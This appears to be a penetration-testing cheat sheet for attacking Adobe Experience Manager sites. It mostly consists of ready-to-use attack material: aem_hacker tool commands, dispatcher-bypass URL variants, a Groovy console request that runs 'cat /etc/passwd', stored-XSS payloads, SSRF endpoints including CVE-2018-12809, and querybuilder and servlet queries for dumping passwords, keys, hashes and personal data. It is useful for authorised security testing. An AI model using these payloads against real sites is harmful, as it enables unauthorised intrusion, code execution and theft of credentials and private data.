AEM [Adobe CMS]
video
https://www.youtube.com/watch?v=EQNBQCQMouk
method
collect sub domain
use nuclei/nuclei-templates/technologies/tech-detect.yaml to identifiy aem
Python3 ./aem_hacker.py –u https://example — host localhost
use ../fuzzing/service/aem.txt to fuzz on path
aem tools
python3 aem_hacker.py -u --host yourvpshostname =>comman usagepython3 aem_discovery.py --file urls.txt --workers 150 =>discover urlpython3 aem_enum.py --url => automate usernames and secrets grabbingpython3 aem_ssrf2rce.py --url --fakaem yourvbspython3 aem_server.py
aem dispatcher bypasses
<https://aemsite/bin/querybuilder.json> => blocked<https://aemsite/bin/querybuilder.json/a.css> => allow<https://aemsite/bin/querybuilder.json/a.html> => allow<https://aemsite/bin/querybuilder.json/a.ico> => allow<https://aemsite/bin/querybuilder.json/a.png> => allow<https://aemsite/bin/querybuilder.json;%0aa.css> => allow<https://aemsite/bin/querybuilder.json/a.1.json> => allow
<https://aemsite/bin/querybuilder.json> => blocked<https://aemsite/bin/querybuilder.json/a.css> => block<https://aemsite/bin/querybuilder.json;%0aa.css> => block<https://aemsite/bin/querybuilder.json.servlet.css> => allow<https://aemsite/bin/querybuilder.json.servlet.html> => allow<https://aemsite/bin/querybuilder.json.servlet.ico> => allow<https://aemsite/bin/querybuilder.json.servlet.png> => allow///etc.json instead of /etc.json///bin///quesrybuilder.json instead of /bin/quesrybuilder.json
ssrf should allow to send GET request and see response- Opensocial proxy- ssrf in reportingservicesproxyservlet(cve-2018-12809)
POST /bin/groovyconsole/post.servlet HTTP/1.1HOST:script=sef+proc+%3d+"cat+/etc/passwd".execute()%0d%0aprintln+proc.txt
POST //////content/usergenerated/etc/commerce/smartlists/vv.jsonaa=alert('xss+on+'%2b+document.domain+%2b+'\\nby+%400ang3el+\\ud83d\\ude00')%3b
POST /content/usergenerated/etc/commerce/smartlists/xssaaa.html=alert('xss+on+'%2b+document.domain+%2b+'\\nby+%400ang3el+\\ud83d\\ude00')%3b
POST /content/usergenerated/etc/commerce/smartlists/xssedjcr:data=alert('xss+on+'%2b+document.domain+%2b+'\\nby+%400ang3el+\\ud83d\\ude00')%3b&jcr:mimeType=text/html
everything is stored in jcr repository :- secrets (password ,encryption key , tokens)- cinfiguration- pII- usernames** what to use **- DefaultGETServlet- QueryBUilderJsonServlet- QueryBuilderFeedServlet- GQLSearch Servlet- other** DefaultGETServlet **- Allows to get jsr node with its props- selectors - tidy - infinity - numeric value:-1,0,1...99999- formats - json - xml - res- <https://aem.site/tidy.3.json> / => jcr:root tidy => selector tidy 3 => selector depth json => output format- how to grap - get node names, start from jcr:root : - /.1.json - /.ext.json - /.childrenlist.json - or guess node names : - comman names /content, /home, /var, /etc - Dump props for each child node of jcr:root : - /etc.json or /etc.s.json or /etc.-1.json- what to grap - interesting nodes - /etc => may contain secrets (pass,enc,keys) - /apps/system/config => passwords - /apps/<smth>/config => passwords - /var => may contain private pii - /home => password hashed ,pii - interesting props-contain aem usernames - jcr:createdBy - jcr:lastModifiedBy - cq:LastModifiedBy
- path - /bin/querybuilder.json - /bin/querybuilder.feed.servlet- examples of useful searches - type=nt:file&nodename=*.zip - path=/home&p.hits-full&p.limit=-1 - hasPermission=jcr:write&path=/content - hasPermission=jcr:addChild Nodes&path=/content - hasPermission=jcr:modify Properties&path=/content - p.hits-selective&p.properties=jcr%3alastModifiedBy&property=jcr%3alast ModifiedBy&property.operation-unequals&property.value=admin&type=nt%3abase&p.limit=1000 - path=/etc&path.flat=true&p.nodedepth=0 - path=/etc/replication/agents.author&p.hits-full&p.nodedepth=-1
ssrf via Opensocial proxy - /libs/opensocial/proxy?container=default&url=http://target - /libs/shindig/proxy?container=default&url=http://target
SSRF via ReportingServicesProxyServlet (CVE-2018-12809)- /libs/ca/contentinsight/content/proxy.reportingservices.json?url=http://target%23/apil.omniture.com/a&q=a- /libs/cq/contentinsight/proxy/reportingservices.json.GET.servlet?url=http://target%23/apil.omniture.com/a&q=a- /libs/mcm/salesforce/customer.json?checkType=authorize&authorization_url=http://target&customer_key=zzzz&customer_secret-zzzz&redirect_uri=xxxx&code=eSSRF via SiteCatalystServlet- /libs/cq/analytics/components/sitecatalystpage/segments.json.servlet- /libs/cq/analytics/templates/sitecatalyst/jcr:content.segments.json
- /.ext.infinity.json- /.ext.infinity.json?tidy=true- /bin/querybuilder.json?type=nt:base&p.limit=-1- /bin/wcm/search/gql.servlet.json?query=type:base%20limit:..-1&pathPrefix=- /content.assetsearch.json?query=*&start=0&limit=10&random=123- /..assetsearch.json?query=*&start=0&limit=10&random=123- /system/bgservlets/test.json?cycles-999999&interval=0&flushEvery=111111111
Last updated